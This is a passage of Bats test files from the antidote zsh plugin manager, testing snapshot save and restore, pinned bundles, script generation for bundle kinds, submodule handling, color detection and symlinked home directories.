mechanics # against local fixtures. This only verifies what needs real GitHub: # restoring committed snapshot files pins real repos to real SHAs, and # pinned repos survive a real update. load ../helpers/common OMZ_2024=fa770f9678477febe0ed99566d9f3331f3714eca AUTOSUGGEST_2024=11d17e7fea9fba8067f992b3d95e884c20a4069c AUTOSUGGEST_2026=85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5 setup() { antidote_common_setup SESSION_SETUP=t_setup_real SESSION_PRELUDE='zstyle ":antidote:snapshot" dir $HOME/.antidote-real-snaps zstyle ":antidote:test:version" show-sha off zstyle ":antidote:test:git" autostash off antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2024.txt &>/dev/null' } @test "restore clones real repos at the snapshotted SHAs" { run_session <<'EOS' echo "ohmyzsh: $(git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD)" echo "autosuggestions: $(git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD)" EOS assert_line "ohmyzsh: $OMZ_2024" assert_line "autosuggestions: $AUTOSUGGEST_2024" } @test "restore moves repos between snapshotted points in time" { run_session <<'EOS' antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2026.txt &>/dev/null echo "autosuggestions: $(git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD)" EOS assert_output "autosuggestions: $AUTOSUGGEST_2026" } @test "update skips a pinned repo and moves the rest" { SESSION_PRELUDE="$SESSION_PRELUDE git -C \$ANTIDOTE_HOME/ohmyzsh/ohmyzsh config antidote.pin $OMZ_2024" run_session <<'EOS' echo "pinned skips: $(antidote update --bundles 2>&1 | grep -c 'skipping update for pinned bundle: ohmyzsh/ohmyzsh')" echo "ohmyzsh: $(git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD)" [[ "$(git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD)" != "11d17e7fea9fba8067f992b3d95e884c20a4069c" ]] && echo "unpinned repos updated" EOS assert_line "pinned skips: 1" assert_line "ohmyzsh: $OMZ_2024" assert_line "unpinned repos updated" } @test "snapshot save records pins, and restore honors them" { SESSION_PRELUDE="$SESSION_PRELUDE git -C \$ANTIDOTE_HOME/ohmyzsh/ohmyzsh config antidote.pin $OMZ_2024 antidote update --bundles &>/dev/null antidote snapshot save >/dev/null snap=\$(ls \$HOME/.antidote-real-snaps/snapshot-*.txt | tail -1)" run_session <<'EOS' grep ohmyzsh $snap antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2026.txt &>/dev/null antidote snapshot restore $snap &>/dev/null echo "ohmyzsh restored: $(git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD)" EOS assert_line "ohmyzsh/ohmyzsh kind:clone pin:$OMZ_2024" assert_line "ohmyzsh restored: $OMZ_2024" } mattmc3-antidote-9bb69ab/tests/bats/script.bats000066400000000000000000000277031523541175400216610ustar00rootroot00000000000000#!/usr/bin/env bats # antidote zsh_script tests load helpers/common setup() { antidote_common_setup; } @test "zsh_script requires a bundle argument" { fixture_session <<<'antidote __private__ zsh_script 2>&1' assert_failure 1 assert_output "antidote: error: bundle argument expected" } # zsh_script accepts flat key-value pairs as an assoc array. @test "zsh_script validates kind values" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind zsh >/dev/null; echo "kind zsh exit: $?" antidote __private__ zsh_script __bundle__ foo/bar >/dev/null; echo "no kind exit: $?" antidote __private__ zsh_script __bundle__ foo/bar kind badkind 2>&1 EOS assert_line "kind zsh exit: 0" assert_line "no kind exit: 0" assert_line "antidote: error: unexpected kind value: 'badkind'" } # zsh_script works with local files and directories as well as repos. @test "zsh_script handles local files, lib dirs, and plugin dirs" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ $ZDOTDIR/aliases.zsh | subenv ZDOTDIR antidote __private__ zsh_script __bundle__ $ZDOTDIR/custom/lib | subenv ZDOTDIR antidote __private__ zsh_script __bundle__ $ZDOTDIR/custom/plugins/myplugin | subenv ZDOTDIR EOS expected=$(cat <<'EOF' source "$ZDOTDIR/aliases.zsh" fpath+=( "$ZDOTDIR/custom/lib" ) source "$ZDOTDIR/custom/lib/lib1.zsh" source "$ZDOTDIR/custom/lib/lib2.zsh" fpath+=( "$ZDOTDIR/custom/plugins/myplugin" ) source "$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh" EOF ) expect "$expected" } @test "zsh_script handles repos in escaped path-style" { fixture_session <<'EOS' zstyle ':antidote:bundle' path-style escaped ANTIDOTE_HOME=$HOME/.cache/antibody antidote __private__ zsh_script __bundle__ foo/bar 2>/dev/null | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ https://fakegitsite.com/foo/bar | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ https://fakegitsite.com/foo/bar.git | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ git@fakegitsite.com:foo/qux.git 2>/dev/null | subenv ANTIDOTE_HOME EOS expect "$(cat "$PRJDIR/tests/testdata/antibody/script-foobar.zsh" "$PRJDIR/tests/testdata/antibody/script-foobar.zsh" "$PRJDIR/tests/testdata/antibody/script-foobar.zsh" "$PRJDIR/tests/testdata/antibody/script-fooqux.zsh")" } # kind:clone does nothing when the plugin exists, clones when missing. @test "kind:clone clones only when missing" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind clone antidote __private__ zsh_script __bundle__ themes/ohmytheme kind clone EOS assert_output "# antidote cloning themes/ohmytheme..." } @test "kind zsh, path, fpath, and autoload script output" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind zsh | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ foo/bar kind path | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ foo/bar kind fpath | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ $ZDOTDIR/functions kind autoload | subenv ZDOTDIR EOS expected=$(cat <<'EOF' fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" export PATH="$ANTIDOTE_HOME/fakegitsite.com/foo/bar:$PATH" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) fpath+=( "$ZDOTDIR/functions" ) builtin autoload -Uz "$ZDOTDIR/functions"/*(N.:t) EOF ) expect "$expected" } @test "kind:defer loads zsh-defer first unless skipped" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind defer | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ foo/bar kind defer __skip_load_defer__ 1 | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" EOF ) expect "$expected" } # defer-options zstyles: pattern zstyles apply per-bundle. @test "defer-options zstyles customize zsh-defer flags" { fixture_session <<'EOS' zstyle ':antidote:bundle:*' defer-options '-a' zstyle ':antidote:bundle:foo/bar' defer-options '-p' antidote __private__ zsh_script __bundle__ foo/bar kind defer | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ bar/baz kind defer | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer -p source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/bar/baz" ) zsh-defer -a source "$ANTIDOTE_HOME/fakegitsite.com/bar/baz/baz.plugin.zsh" EOF ) expect "$expected" } @test "path: annotation handles plugin dirs, files, lib dirs, and themes" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/extract | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ ohmy/ohmy path lib/lib1.zsh | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ ohmy/ohmy path lib | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ ohmy/ohmy path themes/pretty.zsh-theme | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/themes/pretty.zsh-theme" EOF ) expect "$expected" } @test "conditional wraps output and autoload precedes sourcing" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/macos conditional is-macos | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/macos autoload functions | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' if is-macos; then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/macos.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/functions" ) builtin autoload -Uz "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/functions"/*(N.:t) fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/macos.plugin.zsh" EOF ) expect "$expected" } # fpath-rule behavior lives in fpath_rules.bats. @test "pre and post functions wrap sourcing" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar pre run_before | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ foo/bar post run_after | subenv ANTIDOTE_HOME EOS expect 'run_before fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" run_after' } @test "pre and post functions run for clone bundles" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind clone pre run_before | subenv ANTIDOTE_HOME antidote __private__ zsh_script __bundle__ foo/bar kind clone post run_after | subenv ANTIDOTE_HOME EOS expect 'run_before run_after' } # If a plugin is deferred, so is its post event; the pre event still # runs immediately. @test "deferred bundles defer the post event" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind defer pre pre-event post post-event | subenv ANTIDOTE_HOME EOS expect 'pre-event if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" zsh-defer post-event' } @test "conditional wraps the entire deferred block" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar kind defer conditional is-macos | subenv ANTIDOTE_HOME EOS expect 'if is-macos; then if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fi' } @test "conditional wraps pre/post along with sourcing" { fixture_session <<'EOS' antidote __private__ zsh_script __bundle__ foo/bar conditional is-macos pre setup post cleanup | subenv ANTIDOTE_HOME EOS expect 'if is-macos; then setup fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" cleanup fi' } # initfiles picks the best init file by precedence, one type at a time. @test "initfiles precedence and failure cases" { run_session <<'EOS' export PLUGINDIR=$T_TEMPDIR/initfiles/myplugin # subenv is a subprocess mkdir -p $PLUGINDIR/lib touch $PLUGINDIR/myplugin.plugin.zsh $PLUGINDIR/whatever.plugin.zsh touch $PLUGINDIR/file.zsh $PLUGINDIR/file.sh $PLUGINDIR/file.bash touch $PLUGINDIR/myplugin.zsh-theme $PLUGINDIR/mytheme.zsh-theme touch $PLUGINDIR/README.md $PLUGINDIR/file touch $PLUGINDIR/lib/lib1.zsh $PLUGINDIR/lib/lib2.zsh $PLUGINDIR/lib/lib3.zsh antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR rm $PLUGINDIR/myplugin.plugin.zsh antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR rm $PLUGINDIR/whatever.plugin.zsh antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR rm $PLUGINDIR/file.zsh antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR rm $PLUGINDIR/file.sh antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR antidote __private__ initfiles $PLUGINDIR/lib | subenv PLUGINDIR rm $PLUGINDIR/myplugin.zsh-theme antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR rm $PLUGINDIR/mytheme.zsh-theme antidote __private__ initfiles $PLUGINDIR; echo "no match exit: $?" mkdir -p $T_TEMPDIR/initfiles/foo antidote __private__ initfiles $T_TEMPDIR/initfiles/foo; echo "empty exit: $?" EOS expected=$(cat <<'EOF' $PLUGINDIR/myplugin.plugin.zsh $PLUGINDIR/whatever.plugin.zsh $PLUGINDIR/file.zsh $PLUGINDIR/file.sh $PLUGINDIR/myplugin.zsh-theme $PLUGINDIR/lib/lib1.zsh $PLUGINDIR/lib/lib2.zsh $PLUGINDIR/lib/lib3.zsh $PLUGINDIR/mytheme.zsh-theme no match exit: 1 empty exit: 1 EOF ) expect "$expected" } # If the user forks zsh-defer, support setting a zstyle for an # alternative repo location. @test "defer bundle honors the :antidote:defer bundle zstyle" { run_session <<'EOS' zstyle ':antidote:bundle' path-style short zstyle ':antidote:defer' bundle 'custom/zsh-defer' antidote bundle 'zsh-users/zsh-autosuggestions kind:defer' 2>/dev/null | subenv HOME EOS expected=$(cat <<'EOF' if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/custom/zsh-defer" ) source "$HOME/.cache/antidote/custom/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/zsh-users/zsh-autosuggestions" ) zsh-defer source "$HOME/.cache/antidote/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" EOF ) expect "$expected" } mattmc3-antidote-9bb69ab/tests/bats/snapshot.bats000066400000000000000000000144531523541175400222120ustar00rootroot00000000000000#!/usr/bin/env bats # antidote snapshot tests load helpers/common setup() { antidote_common_setup antidote_test_home SNAP_DIR="$TESTHOME/.antidote-snapshots" ZSTYLES="zstyle ':antidote:snapshot' dir $SNAP_DIR zstyle ':antidote:fzf' cmd '' zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" antidote_clone_fixtures } save_at_epoch() { ZSTYLES="$ZSTYLES zstyle ':antidote:test:snapshot' epoch $1" antidote snapshot save >/dev/null } @test "snapshot save creates one snapshot file" { run antidote snapshot save assert_output --partial "Snapshot saved:" run ls "$SNAP_DIR" [ "${#lines[@]}" -eq 1 ] } @test "snapshot file has comment headers" { antidote snapshot save >/dev/null run head -3 "$SNAP_DIR"/snapshot-*.txt assert_line --index 0 "# antidote snapshot" assert_line --index 1 --regexp '^# version: [0-9]+\.[0-9]+\.[0-9]+$' assert_line --index 2 --regexp '^# date: [0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$' } @test "snapshot body matches the expected fixture" { antidote snapshot save >/dev/null run diff <(tail -n +4 "$SNAP_DIR"/snapshot-*.txt) "$PRJDIR/tests/testdata/.zsh_plugins.snapshot.txt" assert_success } @test "snapshot home prints the snapshot dir" { run antidote snapshot home assert_output "$SNAP_DIR" } @test "snapshot list shows saved snapshots" { save_at_epoch 1000000001 run antidote snapshot list [[ "$output" == "$SNAP_DIR/snapshot-"*.txt ]] } # Update auto-saves a new snapshot capturing the restored state. @test "update auto-saves a snapshot" { save_at_epoch 1000000001 tgit_deepen "$AHOME/fakegitsite.com/foo/baz" tgit -C "$AHOME/fakegitsite.com/foo/baz" reset --quiet --hard HEAD~1 ZSTYLES="$ZSTYLES zstyle ':antidote:test:snapshot' epoch 1000000002" antidote update &>/dev/null run ls "$SNAP_DIR" [ "${#lines[@]}" -eq 2 ] run diff <(tail -n +4 "$SNAP_DIR/snapshot-20010909-014642Z.txt") "$PRJDIR/tests/testdata/.zsh_plugins.snapshot.txt" assert_success } @test "snapshot restore succeeds from a saved snapshot" { save_at_epoch 1000000001 run antidote snapshot restore "$SNAP_DIR"/snapshot-*.txt assert_success } # A bundle that fails to clone must be reported and fail the restore, # not vanish behind an unconditional "Restore complete." @test "snapshot restore reports failed bundles" { mkdir -p "$SNAP_DIR" cat >"$SNAP_DIR/snapshot-bad.txt" <<'EOF' # antidote snapshot # version: 0.0.0 # date: 2024-01-01T00:00:00Z does-not/exist kind:clone pin:0000000000000000000000000000000000000000 EOF run antidote snapshot restore "$SNAP_DIR/snapshot-bad.txt" assert_failure assert_line --partial "restore failed for 'does-not/exist'" refute_output --partial "Restore complete." } @test "dynamic mode skips snapshot save" { EXTRA_ENV="ANTIDOTE_DYNAMIC=true" run antidote snapshot save refute_output [ ! -d "$SNAP_DIR" ] } # Disabling autosnapshot prevents auto-save on update, but explicit # save still works. @test "autosnapshot disabled skips save on update" { ZSTYLES="$ZSTYLES zstyle ':antidote:snapshot:automatic' enabled no" antidote update &>/dev/null [ ! -d "$SNAP_DIR" ] run antidote snapshot save assert_output --partial "Snapshot saved:" } @test "snapshot dir zstyle relocates snapshots" { ZSTYLES="zstyle ':antidote:snapshot' dir $TESTHOME/.antidote-snaps" run antidote snapshot save assert_output --partial "$TESTHOME/.antidote-snaps" [ -d "$TESTHOME/.antidote-snaps" ] } @test "pruning keeps only the configured max snapshots" { ZSTYLES="$ZSTYLES zstyle ':antidote:snapshot' max 3" local epoch for epoch in 1000000001 1000000002 1000000003 1000000004 1000000005; do save_at_epoch $epoch done run ls "$SNAP_DIR" [ "${#lines[@]}" -eq 3 ] } @test "snapshot --help and unknown subcommands" { run antidote snapshot --help assert_output --partial snapshot run antidote snapshot foo assert_failure 1 assert_output "antidote: snapshot: unknown subcommand 'foo'" } @test "restore without a file and without a picker errors" { save_at_epoch 1000000001 run antidote snapshot restore assert_failure 1 assert_output "antidote: snapshot: no snapshot file specified (use 'antidote snapshot list' to see available snapshots)" } @test "restore with a picker but no snapshots errors" { ZSTYLES="zstyle ':antidote:snapshot' dir $SNAP_DIR zstyle ':antidote:fzf' cmd $PRJDIR/tests/bin/mock_fzf" mkdir -p "$SNAP_DIR" run antidote snapshot restore assert_failure 1 assert_output "antidote: snapshot: no snapshots found" } @test "restore with a missing file errors" { run antidote snapshot restore /nonexistent/snapshot.txt assert_failure 1 assert_output "antidote: snapshot: file not found '/nonexistent/snapshot.txt'" } @test "remove deletes the given snapshot file" { save_at_epoch 1000000001 save_at_epoch 1000000002 run antidote snapshot remove "$SNAP_DIR/snapshot-20010909-014641Z.txt" assert_output --partial "Removed:" run ls "$SNAP_DIR" [ "${#lines[@]}" -eq 1 ] } @test "remove with a missing file errors" { run antidote snapshot remove /nonexistent/snapshot.txt assert_output --partial "file not found '/nonexistent/snapshot.txt'" } @test "remove without a file and without a picker errors" { save_at_epoch 1000000001 run antidote snapshot remove assert_output "antidote: snapshot: no snapshot file specified (use 'antidote snapshot list' to see available snapshots)" } @test "remove with a picker but no snapshots errors" { ZSTYLES="zstyle ':antidote:snapshot' dir $SNAP_DIR zstyle ':antidote:fzf' cmd $PRJDIR/tests/bin/mock_fzf" mkdir -p "$SNAP_DIR" run antidote snapshot remove assert_output "antidote: snapshot: no snapshots found" } @test "snapshot list is newest first" { save_at_epoch 1000000001 save_at_epoch 1000000002 save_at_epoch 1000000003 run antidote snapshot list assert_line --index 0 "$SNAP_DIR/snapshot-20010909-014643Z.txt" assert_line --index 2 "$SNAP_DIR/snapshot-20010909-014641Z.txt" } @test "restore returns a rolled-back repo to the snapshotted SHA" { local bundledir="$AHOME/fakegitsite.com/foo/baz" tgit_deepen "$bundledir" local expected_sha expected_sha=$(git -C "$bundledir" rev-parse HEAD) save_at_epoch 1000000001 git -C "$bundledir" reset --quiet --hard HEAD~1 antidote snapshot restore "$SNAP_DIR"/snapshot-*.txt &>/dev/null run git -C "$bundledir" rev-parse HEAD assert_output "$expected_sha" } mattmc3-antidote-9bb69ab/tests/bats/standalone.bats000066400000000000000000000042271523541175400225010ustar00rootroot00000000000000#!/usr/bin/env bats # antidote.zsh as a lone file, with no functions/ dir beside it. # Commands the subprocess can answer on its own must still work; load # and dynamic mode need parent-shell functions and cannot. load lib/bats-support/load load lib/bats-assert/load setup() { PRJDIR="$BATS_TEST_DIRNAME/../.." SOLO="$BATS_TEST_TMPDIR/solo" mkdir -p "$SOLO" "$BATS_TEST_TMPDIR/home" cp "$PRJDIR/antidote.zsh" "$SOLO/antidote.zsh" SOLOHOME="$(cd "$BATS_TEST_TMPDIR/home" && pwd -P)" } # Source the lone copy in a bare shell, then run the given zsh code. solo() { run env -i HOME="$SOLOHOME" PATH="$PATH" zsh -fc \ "source $SOLO/antidote.zsh || exit 9 $1" } @test "sourcing a lone antidote.zsh defines the antidote function" { solo 'print "antidote: $+functions[antidote]"' assert_success assert_output "antidote: 1" } @test "sourcing a lone antidote.zsh is quiet" { solo ':' assert_success assert_output "" } # Compared against the same lone file run directly, so the assert holds # on any OS branch. @test "a lone antidote.zsh answers subprocess-backed commands" { local direct direct=$(env -i HOME="$SOLOHOME" PATH="$PATH" zsh "$SOLO/antidote.zsh" home) [ -n "$direct" ] solo 'antidote home' assert_success assert_output "$direct" } @test "a lone antidote.zsh reports its version" { solo 'antidote --version' assert_success assert_output --partial "antidote version" } @test "a lone antidote.zsh emits the dynamic-mode function" { solo 'antidote init | tail -n1' assert_success assert_output "}" } # ANTIDOTE_ZSH points at the sourced file, so the shim finds itself even # after a cd. @test "a lone antidote.zsh works from another directory" { local direct direct=$(env -i HOME="$SOLOHOME" PATH="$PATH" zsh "$SOLO/antidote.zsh" home) solo 'cd /; antidote home' assert_success assert_output "$direct" } # The functions dir wins when it is present; the shim is a fallback only. @test "the functions dir still takes precedence when present" { run env -i HOME="$SOLOHOME" PATH="$PATH" zsh -fc \ "source $PRJDIR/antidote.zsh || exit 9 print \"load: \$+functions[antidote-load]\"" assert_success assert_output "load: 1" } mattmc3-antidote-9bb69ab/tests/bats/submodule.bats000066400000000000000000000044241523541175400223470ustar00rootroot00000000000000#!/usr/bin/env bats # Bundles that carry a git submodule. # # The sub/parent fixture records sub/child as a submodule, so cloning it # exercises git_clone's --recurse-submodules and updating it exercises # git_submodule_sync and git_submodule_update. load helpers/common setup() { antidote_common_setup antidote_test_home ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" PARENTDIR="$AHOME/fakegitsite.com/sub/parent" } @test "a clone checks out its submodules" { run antidote bundle 'sub/parent kind:clone' assert_success [ -f "$PARENTDIR/child/child.plugin.zsh" ] } @test "a submodule is cloned shallow" { run antidote bundle 'sub/parent kind:clone' assert_success run git -C "$PARENTDIR/child" rev-parse --is-shallow-repository assert_output "true" } # Cloning must not put git's own chatter on stdout, which is the script. @test "cloning a submodule emits only the load script" { run antidote bundle sub/parent subenv_output ANTIDOTE_HOME expect '# antidote cloning sub/parent... fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/sub/parent" ) source "$ANTIDOTE_HOME/fakegitsite.com/sub/parent/parent.plugin.zsh"' } @test "update leaves a submodule checked out" { run antidote bundle 'sub/parent kind:clone' assert_success run antidote update assert_success refute_output --partial "update failed for 'sub/parent'" [ -f "$PARENTDIR/child/child.plugin.zsh" ] } @test "update restores an emptied submodule" { run antidote bundle 'sub/parent kind:clone' assert_success rm -rf "$PARENTDIR/child" mkdir -p "$PARENTDIR/child" run antidote update assert_success [ -f "$PARENTDIR/child/child.plugin.zsh" ] } # The shallow-graft path resets instead of rebasing, so make sure the # submodule comes back from that too. @test "a shallow graft reset leaves a submodule checked out" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle:sub/parent' shallow yes" run antidote bundle 'sub/parent kind:clone' assert_success tgit_deepen "$PARENTDIR" tgit -C "$PARENTDIR" reset --quiet --hard HEAD~1 tgit -C "$PARENTDIR" rev-parse HEAD refs/remotes/origin/main >"$PARENTDIR/.git/shallow" run antidote update assert_success refute_output --partial "update failed for 'sub/parent'" [ -f "$PARENTDIR/child/child.plugin.zsh" ] } mattmc3-antidote-9bb69ab/tests/bats/supports_color.bats000066400000000000000000000043771523541175400234540ustar00rootroot00000000000000#!/usr/bin/env bats # Tests for supports_color. # Runs antidote.zsh directly as a subprocess; no shell session state needed. # bats captures stdout through a pipe, so the TTY check would always fail # here. The :antidote:test tty style claims one, which is what lets the # terminal capability rules be reached at all. load lib/bats-support/load load lib/bats-assert/load setup() { cd "$BATS_TEST_DIRNAME/../.." TTY="zstyle ':antidote:test' tty yes" } # Run supports_color with a scrubbed color environment plus the given # VAR=value args. probe() { env -u NO_COLOR -u CLICOLOR -u CLICOLOR_FORCE -u FORCE_COLOR \ -u COLORTERM -u TERM -u ANTIDOTE_ZSTYLES \ ANTIDOTE_CONFIG=/dev/null "$@" \ zsh antidote.zsh __private__ supports_color } color() { run probe "$@"; assert_success; } no_color() { run probe "$@"; assert_failure 1; } @test "color variables apply most explicit first" { # NO_COLOR first, then the force variables, where 0 means do not force. no_color TERM=xterm-256color NO_COLOR=1 FORCE_COLOR=1 no_color TERM=xterm-256color NO_COLOR=1 CLICOLOR_FORCE=1 color TERM=xterm-256color FORCE_COLOR=1 color TERM=xterm-256color CLICOLOR_FORCE=1 no_color TERM=xterm-256color FORCE_COLOR=0 CLICOLOR_FORCE=1 # A force variable stands in for a terminal too, since CI runs with no # TERM, and it outranks CLICOLOR=0. color FORCE_COLOR=1 TERM=dumb color TERM=xterm-256color CLICOLOR=0 CLICOLOR_FORCE=1 # No force and no terminal, then a terminal that opted out. no_color TERM=xterm-256color no_color TERM=xterm-256color CLICOLOR=0 ANTIDOTE_ZSTYLES="$TTY" } @test "a terminal is capable per terminfo, COLORTERM, or TERM" { local t # In every terminfo database, including the bare container ones. Note # xterm and screen have no 256 in the name, so the TERM pattern alone # would miss them. for t in xterm xterm-256color screen-256color tmux-256color rxvt; do color TERM=$t ANTIDOTE_ZSTYLES="$TTY" done # Terminals shipping their own terminfo entry can be absent from the # system database, which is what COLORTERM covers. for t in xterm-kitty foot ghostty wezterm; do color TERM=$t COLORTERM=truecolor ANTIDOTE_ZSTYLES="$TTY" done no_color TERM=dumb ANTIDOTE_ZSTYLES="$TTY" no_color TERM= ANTIDOTE_ZSTYLES="$TTY" } mattmc3-antidote-9bb69ab/tests/bats/symlinked_antidote_home.bats000066400000000000000000000072761523541175400252560ustar00rootroot00000000000000#!/usr/bin/env bats # Symlinked ANTIDOTE_HOME tests load helpers/common setup() { antidote_common_setup antidote_test_home ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" # Point ANTIDOTE_HOME (the wrapper's AHOME) at a symlinked directory. REAL_HOME="$TESTHOME/.cache/antidote-real" mkdir -p "$REAL_HOME" ln -s "$REAL_HOME" "$TESTHOME/.cache/antidote-link" AHOME="$TESTHOME/.cache/antidote-link" } @test "home reports the symlink path" { run antidote home assert_output "$AHOME" } @test "list warns for an empty symlinked home" { run antidote list expect "antidote: list: no bundles found in '\$HOME/.cache/antidote-link'" } @test "bundle clones through the symlink into the real dir" { run antidote bundle foo/bar assert_success [ -d "$REAL_HOME/fakegitsite.com/foo/bar/.git" ] } @test "list finds bundles through the symlink" { antidote bundle foo/bar &>/dev/null antidote bundle pintest/pinme &>/dev/null run antidote list --dirs expect 